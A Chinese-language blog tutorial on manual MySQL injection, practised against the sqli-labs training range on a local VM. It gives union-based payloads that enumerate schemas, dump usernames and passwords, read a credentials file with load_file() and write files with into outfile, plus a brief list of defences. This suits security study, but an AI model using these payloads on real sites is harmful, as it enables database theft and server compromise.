• web安全之MySQL手工注入的原理讲解和实验分析


    目录

    前提知识

    靶场搭建

    手工注入

    高权限注入

     sql注入之文件读写

    基础防御


     

    前提知识

    1. 数据库及sql语句知识,web相关知识。
    2. union合并查询的两个特征:前后查询互不干扰,前后查询的字段可以不同但是数量必须一致。
    3. order by 通过测试来猜解表的列数
    4. 掌握几个系统表中重要表
    5. %20:转义字符空格
    6. . 下一级(数据库,表,字段)
    1. use information_schema;
    2. select * from SCHEMATA;
    3. select table_name from TABLES;
    4. select column_name from COLUMNS;

    靶场搭建

    环境:win10虚拟机,sqli-labs,phpstudy

    手工注入

    • 判断有无注入点:and 1=1;随便输入:报错则有,没有报错则没有
    • 猜解列名数量:order by 数字
    • 判断回显点:
    /?id=-1 union select 1,2,3

    Your Login name:2
    Your Password:3

    • 信息收集
    1,version(),database()

    6b8d84ee903d4ef0b6b9604d7e1a06e5.png

     

    数据库版本,数据库名字

    • 进行对应的sql注入
    1. union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
    2. union select 1,group_concat(column_name),3 from information_schema.columns where table_name='user'
    3. union select 1,2,(select group_concat(username,password) from users)

    高权限注入

    • 注入条件:高版本,共享mysql服务器,且拥有高权限的注入漏洞
    • 权限介绍:mysql系统数据库下面有四张表(最大权限为user表)
    ?id=-1%20union%20select%201,user(),3

    261a50161dcd473a850d024d5553bb8f.png

    •  获取所有的数据库名
    ?id=-1%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata

    6fa375e6f74a468d86e13a65f2976a60.png 

    • 获取数据库下面的表名
    union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='my_data'

    afc72c564e954b4c8a4b2851fd911ac9.png

    •  查询表中对应的字段名
    union select 1,group_concat(column_name),3 from information_schema.columns where table_name='dept'

    393d70d002d84551a662f570bd8bbb3f.png

    查询字段下面的信息

    ?id=-1%20union%20select%20name,deptno,name%20from%20my_data.dept

    fc3d402d426247469c8e1a625f478442.png

     sql注入之文件读写

    • 读写文件的权利

    查看my.ini下面的secure_file_priv时。

    secure_file_priv=

    代表对文件读写没有限制

    secure_file_priv=NULL

    代表不能进行文件读写

    secure_file_priv=d:/phpstudy/mysql/data

    代表只能对该路径下文件进行读写

    show global variables like '%secure%';

    bc6c7c62e0494bb78ad624c97105baa2.png

    • bug修复

    此时修改完 my.ini文件的配置后发现仍然为NULL,此时只需要重启mysql就行,打开管理员权限的cmd,然后执行下面的命令

    1. net stop mysql
    2. net start mysql

    读取文件

    使用函数: load_file()

    注意:/=\\

    ?id=-1%20union%20select%201,load_file(%27d:/d.txt%27),3

    7a3ae7439a9d4332a17b0bdf3338854c.png 

    http://localhost:8089/Less-2/?id=-1%20union%20select%201,load_file(%27D:\\phpstudy_pro\\WWW\\sqli-labs-php7-master\\sql-connections\\db-creds.inc%27),3

    e7d73e011a2746c2a7188fda293ce304.png

     报错路径,常见路径,遗留文件,漏洞报错,平台配置文件

    • 写入文件

    函数:into outfile(可写入多行,按照格式输出)和into Dumpfile(只能写入一行,且没有输出)

    http://localhost:8089/Less-2/?id=-1%20union%20select%201,%27coleak%27,3%20into%20outfile%20%27d:/d2.txt%27%20--+

    97ba880e6bba4c0c945f06cac9368580.png 

    基础防御

    1. 魔术引号
    2. 内置函数
    3. 自定义关键字

     

  • 相关阅读:
    Scrapy第五篇:xpath部分注意点
    基于粒子群优化算法的微型燃气轮机冷热电联供系统优化调度(Matlab代码实现)
    ITSM和ITIL有什么区别?
    使用vscode下载插件在线打开html界面,解决没有Open in default brower选择问题
    Android ImageView 四个角自定义角度,以及角度的变换
    Docker 摸门级简易手册
    Flink SQL --- 窗口聚合
    java计算机毕业设计ssm社团管理系统0gl2e(附源码、数据库)
    Web前端系列技术之JavaScript基础(从入门开始)⑤
    chrome浏览器关闭书签栏右侧的所有书签
  • 原文地址:https://blog.csdn.net/qq_63701832/article/details/128153090